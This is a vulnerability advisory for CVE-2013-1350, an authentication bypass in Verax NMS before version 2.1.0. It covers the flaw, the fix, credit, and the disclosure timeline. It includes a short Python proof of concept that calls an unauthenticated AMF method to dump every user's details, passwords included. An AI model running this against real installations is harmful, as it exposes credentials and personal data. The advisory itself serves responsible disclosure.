Vulmon
Verax NMS Authenication Bypass (CVE-2013-1350)
I. BACKGROUND
----------------------
Verax NMS provides a service-oriented, unified
management & monitoring of networks, applications
and infrastructure enabling quick problem detection,
root-cause analysis, reporting and automating recovery,
reducing costs and shortening downtimes of IT service delivery.
Source: http://www.veraxsystems.com/en/products/nms
II. DESCRIPTION
----------------------
Verax NMS suffers from multiple authentication and
authorization flaws which allow a remote attacker to
add and delete users, change the passwords of other users,
and access other critical application data. These issues
stem from unauthenticated methods, such as userGroupService.getAllGroups(),
which fail to validate that the user either 1) has ownership or
access rights to the requested objects/resources and 2) fails to
confirm whether or not the caller has properly authenticated to the
application and still maintains a valid session.
The below Python code can be used to test vulnerable installations. If
successful, the response will contain an array of user objects which
includes all user details, such as username, password, e-mail address, etc.
----------------------
#!/usr/bin/python
#just based on http://www.pyamf.org/tutorials/general/client.html#basic-example
from pyamf import AMF0, AMF3
from pyamf.remoting.client import RemotingService
client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf',
amf_version=AMF3)
service = client.getService('userService')
print service.getAllUsers()
----------------------
III. AFFECTED PRODUCTS
----------------------
All versions of Verax NMS prior to 2.1.0 are vulnerable.
IV. RECCOMENDATION
----------------------
Users should upgrade to version 2.1.0 of Verax NMS.
V. CREDIT
----------------------
This vulnerability was discovered by Andrew Brooks.
VI. REFERENCES
----------------------
CVE-2013-1350
http://download.veraxsystems.com/download/nms-2.1.0-release-notes.txt
VII. TIMELINE
----------------------
1/10/2013 - Vendor notified
1/11/2013 - Vendor acknowledges bug report
2/20/2013 - Vulnerability remediated and pushed to mainline
<p>